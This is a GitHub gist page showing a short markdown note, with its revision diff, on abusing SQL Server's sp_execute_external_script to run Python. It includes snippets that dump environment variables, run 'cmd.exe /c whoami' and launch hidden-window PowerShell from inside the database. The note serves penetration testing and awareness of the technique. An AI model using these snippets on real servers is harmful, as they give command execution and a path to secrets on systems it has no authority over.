Skip to content

Instantly share code, notes, and snippets.

@dannymas

dannymas/sp_execute_external_script_in_python.md

Forked from james-otten/sp_execute_external_script_in_python.md
Created August 21, 2021 14:32
Show Gist options
  • Save dannymas/e836744fe0a90390b189ed261abfdec1 to your computer and use it in GitHub Desktop.
Save dannymas/e836744fe0a90390b189ed261abfdec1 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. @james-otten james-otten revised this gist Aug 17, 2017. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion sp_execute_external_script_in_python.md
    View file
    Original file line number Diff line number Diff line change
    @@ -2,7 +2,7 @@
    MSSQL 2017 includes Microsoft Machine Learning Services, which allows for the execution of Python and R scripts within MSSQL via `sp_execute_external_script`. This is an expansion of the functionality available in MSSQL 2016, which allowed for the execution of R scripts with SQL Server R Services. Examples of how to abuse this functionality with R scripts are available [elsewhere](https://pastebin.com/zBDnzELT).

    To execute Python code:
    - `Machine Services Services (In-Database)` and `Python` must have been selected during installation
    - `Machine Learning Services (In-Database)` and `Python` must have been selected during installation
    - External scripts must be enabled
    - `EXEC sp_configure 'external scripts enabled', 1`
    - `RECONFIGURE WITH OVERRIDE`
  2. @james-otten james-otten created this gist Aug 17, 2017.
    46 changes: 46 additions & 0 deletions sp_execute_external_script_in_python.md
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,46 @@
    # Executing Python in MSSQL
    MSSQL 2017 includes Microsoft Machine Learning Services, which allows for the execution of Python and R scripts within MSSQL via `sp_execute_external_script`. This is an expansion of the functionality available in MSSQL 2016, which allowed for the execution of R scripts with SQL Server R Services. Examples of how to abuse this functionality with R scripts are available [elsewhere](https://pastebin.com/zBDnzELT).

    To execute Python code:
    - `Machine Services Services (In-Database)` and `Python` must have been selected during installation
    - External scripts must be enabled
    - `EXEC sp_configure 'external scripts enabled', 1`
    - `RECONFIGURE WITH OVERRIDE`
    - Restart the database server
    - The user must have `EXECUTE ANY EXTERNAL SCRIPT`
    # Examples
    ## Python Version
    ```
    exec sp_execute_external_script
    @language =N'Python',
    @script=N'import sys
    OutputDataSet = pandas.DataFrame([sys.version])'
    WITH RESULT SETS ((python_version nvarchar(max)))
    ```
    ## Environment Variables
    ```
    exec sp_execute_external_script
    @language =N'Python',
    @script=N'import os
    OutputDataSet["env_variable"] = pandas.Series([i[0] for i in os.environ.items()])
    OutputDataSet["env_value"] = pandas.Series([i[1] for i in os.environ.items()])'
    WITH RESULT SETS ((env_variable nvarchar(max), env_value nvarchar(max)))
    ```
    ## Shell Commands
    ```
    exec sp_execute_external_script
    @language =N'Python',
    @script=N'import subprocess
    p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
    OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
    WITH RESULT SETS (([cmd_out] nvarchar(max)))
    ```
    ## Powershell
    ```
    exec sp_execute_external_script
    @language =N'Python',
    @script=N'import subprocess
    p = subprocess.Popen("powershell.exe -nop -w hidden -c $PSVersionTable.PSVersion.toString()", stdout=subprocess.PIPE)
    OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
    WITH RESULT SETS (([powershell_version] nvarchar(max)))
    ```